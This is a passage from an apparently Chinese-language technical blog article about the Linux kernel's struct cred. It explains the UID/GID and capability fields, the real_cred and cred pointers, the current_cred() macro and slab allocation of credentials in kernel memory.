26px;"><span leaf="">// 保存的 UID (Saved UID)</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">kgid_t</span></span><span leaf=""> sgid;              </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 保存的 GID</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">kuid_t</span></span><span leaf=""> euid;              </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 有效 UID (Effective UID)</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">kgid_t</span></span><span leaf=""> egid;              </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 有效 GID</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">kuid_t</span></span><span leaf=""> fsuid;             </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 文件系统 UID (FS UID)</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">kgid_t</span></span><span leaf=""> fsgid;             </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 文件系统 GID</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">unsigned</span></span><span leaf=""> securebits;      </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// securebits</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">kernel_cap_t</span></span><span leaf=""> cap_inheritable;  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 可继承能力</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">kernel_cap_t</span></span><span leaf=""> cap_permitted;    </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 允许能力</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">kernel_cap_t</span></span><span leaf=""> cap_effective;    </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 生效能力</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">kernel_cap_t</span></span><span leaf=""> cap_bset;         </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// bounding set</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">kernel_cap_t</span></span><span leaf=""> cap_ambient;      </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// ambient set</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">void</span></span><span leaf=""> *security;                </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// LSM 安全上下文（如 SELinux/AppArmor）</span></span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">struct</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">user_namespace</span></span><span leaf=""> *</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">user_ns</span></span><span leaf="">;</span></span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">struct</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">group_info</span></span><span leaf=""> *</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">group_info</span></span><span leaf="">;</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 补充组列表</span></span><br/><span leaf="">};</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这两个结构体都保存在内核的内存中，后续关于用户的相关操作也是通过它们的改变来完成的 想想也知道，如果保存在用户空间，用户不就可以自己自定义自己的权限了嘛，那就随意提权了，所以肯定存在于内核内存空间</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">通常情况下，进程只向内核提出需求，而不管什么用户权限之类的内容，都由内核来做判断。当然了，很多人写程序从用户友好等方面出发，会主动通过系统调用 (例如 getuid) 来获取当前用户的 uid 等信息。因此内核中有一个宏专门来满足这个频繁用到的需求</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 当前主线内核中的宏</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">define</span></span><span leaf=""> current_cred() \</span><br/><span leaf="">    rcu_dereference_protected(current-&gt;cred, 1)</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// current 是宏，指向当前 CPU 正在执行的 task_struct</span></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">核心认知：</span></strong><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">cred</span></code><span leaf=""> 对象的地址直接存储在 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">task_struct</span></code><span leaf=""> 中，内核做权限检查时通过指针直接访问，主体是 O(1) 的内存访问（只做一次指针解引用）。这里不会去查用户名数据库；真正参与判定的是内存里的 UID/GID、组列表、Capabilities、LSM 上下文等数据。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">到这里，大家可能已经清楚一件事：内核根本不知道你这系统上有多少用户，什么用户名，什么 UID ，只有在用户动起来了（登录、创建进程等）内核才会通过进程机制存储进程有关的用户的信息</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span><span leaf="">cred 存储在哪里</span></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">上面说了 cred 存在于内核内存空间，具体来说，</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">struct cred</span></code><span leaf=""> 对象通过内核的 </span><strong style="font-weight: bold;color: black;"><span leaf="">slab 分配器</span></strong><span leaf="">分配：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// kernel/cred.c</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">static</span></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">struct</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">kmem_cache</span></span><span leaf=""> *</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">cred_jar</span></span><span leaf="">;</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 初始化时创建专用 slab 缓存（省略 SLAB_PANIC | SLAB_ACCOUNT 标志）</span></span><br/><span leaf="">cred_jar = KMEM_CACHE(cred, SLAB_HWCACHE_ALIGN);</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 分配新 cred 时从 slab 拿（prepare_creds 用 kmem_cache_alloc，因为紧接 memcpy 覆盖全部字段）</span></span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">struct</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">cred</span></span><span leaf=""> *</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">new</span></span><span leaf=""> = </span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">kmem_cache_alloc</span></span><span leaf="">(</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">cred_jar</span></span><span leaf="">, </span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">GFP_KERNEL</span></span><span leaf="">);</span></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这个地址在内核虚拟地址空间中（如 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">0xFFFF8880_...</span></code><span leaf="">），用户进程</span><strong style="font-weight: bold;color: black;"><span leaf="">永远无法直接访问</span></strong><span leaf="">：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">用户空间内存（0x0000_0000_0000 ~ 0x0000_7FFF_FFFF_FFFF）</span><br/><span leaf="">  ← 进程的代码、堆、栈、malloc 分配的东西</span><br/><span leaf="">  ← 用户程序可以直接读写</span><br/><span leaf="">  ← cred 不在这里，进程碰不到</span><br/><span leaf="">内核空间内存（0xFFFF_8000_0000_0000 ~ 0xFFFF_FFFF_FFFF_FFFF）</span><br/><span leaf="">  ← 内核代码、内核数据结构、slab 分配器管理的对象</span><br/><span leaf="">  ← cred 在这里分配，只有内核代码能访问</span><br/><span leaf="">  ← 用户程序通过系统调用陷进来后，内核代码代为读取</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">用户空间的程序想&#34;看到&#34;自己的 uid，必须走系统调用，拿到的只是一个</span><strong style="font-weight: bold;color: black;"><span leaf="">数值副本</span></strong><span leaf="">：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">用户程序调用 getuid()</span><br/><span leaf="">       ↓</span><br/><span leaf="">syscall 陷入内核</span><br/><span leaf="">       ↓</span><br/><span leaf="">内核代码执行：</span><br/><span leaf="">  return current-&gt;cred-&gt;uid;   // 内核读自己的内存</span><br/><span leaf="">       ↓</span><br/><span leaf="">返回值通过寄存器传回用户空间</span><br/><span leaf="">       ↓</span><br/><span leaf="">用户程序拿到 1000</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">用户程序从始至终都没有接触过 cred 对象本身。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">0x04 cred 结构体解析</span></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">由于这篇文章不是聊进程的，所以关于我们只需要知道 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">task_struct</span></code><span leaf=""> 有两个指针指向 cred 对象的地址即可，这两个指针的差异对比如下：</span></p><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><code><span leaf="">real_cred</span></code></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><code><span leaf="">cred</span></code></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">内核注释</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">Objective and real subjective task credentials (COW)</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">Effective (overridable) subjective task credentials (COW)</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">文档概括</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">真实凭证（&#34;你是谁&#34;）</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">有效凭证（&#34;你现在以谁行事&#34;）</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">作用</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">记录进程的真实身份；其他进程检查本进程身份时读这个</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">本进程执行操作时做权限判定读这个</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">常见状态</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">大多数时候与 </span><code><span leaf="">cred</span></code><span leaf=""> 指向同一个 cred 对象</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">大多数时候与 </span><code><span leaf="">real_cred</span></code><span leaf=""> 指向同一个 cred 对象</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">何时会不同</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">override_creds()</span></code><p><span leaf=""> 后保持不变</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">override_creds()</span></code><p><span leaf=""> 临时替换，</span><code><span leaf="">revert_creds()</span></code><span leaf=""> 恢复</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">替换方式</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">在 </span><code><span leaf="">commit_creds()</span></code><span leaf=""> 中替换</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">在 </span><code><span leaf="">commit_creds()</span></code><span leaf=""> 中替换</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">获取方式</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">current-&gt;real_cred</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">current-&gt;cred</span></code><p><span leaf="">，也通过 </span><code><span leaf="">current_cred()</span></code><span leaf=""> 宏</span></p></td></tr></tbody></table><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">cred</span></code><span leaf=""> 结构体的具体内容字段意义如下（后面会重点讨论一些字段）：</span></p><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">字段</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">类型</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">含义</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">usage</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">atomic_long_t</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">引用计数，跟踪有多少 task_struct（通过 real_cred/cred 指针）持有此 cred 对象</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">uid</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">kuid_t</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">真实 UID（Real UID），标识进程的真正身份</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">gid</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">kgid_t</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">真实 GID（Real GID），标识进程的真正组身份</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">suid</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">kuid_t</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">保存的 UID（Saved UID），保存之前的有效 UID，允许在许可范围内回切</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">sgid</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">kgid_t</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">保存的 GID（Saved GID），保存之前的有效 GID，允许在许可范围内回切</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">euid</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">kuid_t</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">有效 UID（Effective UID），权限判定的主要依据，决定&#34;你现在以谁行事&#34;</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">egid</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">kgid_t</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">有效 GID（Effective GID），权限判定中使用的有效组身份</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">fsuid</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">kuid_t</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">文件系统 UID，VFS 文件操作权限判定使用，通常跟随 euid 联动</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">fsgid</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">kgid_t</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">文件系统 GID，VFS 文件操作权限判定使用，通常跟随 egid 联动</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">securebits</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">unsigned</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">SUID-less 安全管理标志位，控制 capability 提升行为的细粒度开关</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">cap_inheritable</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">kernel_cap_t</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">可继承能力集，execve 时子进程可以继承的 capabilities</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">cap_permitted</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">kernel_cap_t</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">允许能力集，进程被允许持有的 capabilities 上限</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">cap_effective</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">kernel_cap_t</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">生效能力集，当前实际可使用的 capabilities，权限检查直接读取这个</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">cap_bset</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">kernel_cap_t</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">能力边界集（Bounding Set），限制 execve 后子进程可获得的 capabilities</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">cap_ambient</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">kernel_cap_t</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">环境能力集（Ambient Set），非 root 进程在 execve 时可保留的 capabilities</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">jit_keyring</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">unsigned char</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">默认密钥环，请求密钥时自动附加的目标密钥环类型（需 CONFIG_KEYS）</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">session_keyring</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">struct key *</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">会话密钥环，fork 时继承的密钥环（需 CONFIG_KEYS）</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">process_keyring</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">struct key *</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">进程密钥环，进程私有的密钥环（需 CONFIG_KEYS）</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">thread_keyring</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">struct key *</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">线程密钥环，线程私有的密钥环（需 CONFIG_KEYS）</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">request_key_auth</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">struct key *</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">委托的 request_key 授权令牌（需 CONFIG_KEYS）</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">security</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">void *</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">LSM 安全上下文指针，由 SELinux/AppArmor/Smack 等安全模块使用（需 CONFIG_SECURITY）</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">user</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">struct user_struct *</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">真实用户 ID 订阅，跟踪用户的系统资源使用（如进程数、文件数）</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">user_ns</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">struct user_namespace *</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">用户命名空间，此 cred 中 capabilities 和密钥环所相对的命名空间</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">ucounts</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">struct ucounts *</span></code></td><td style="font-size: 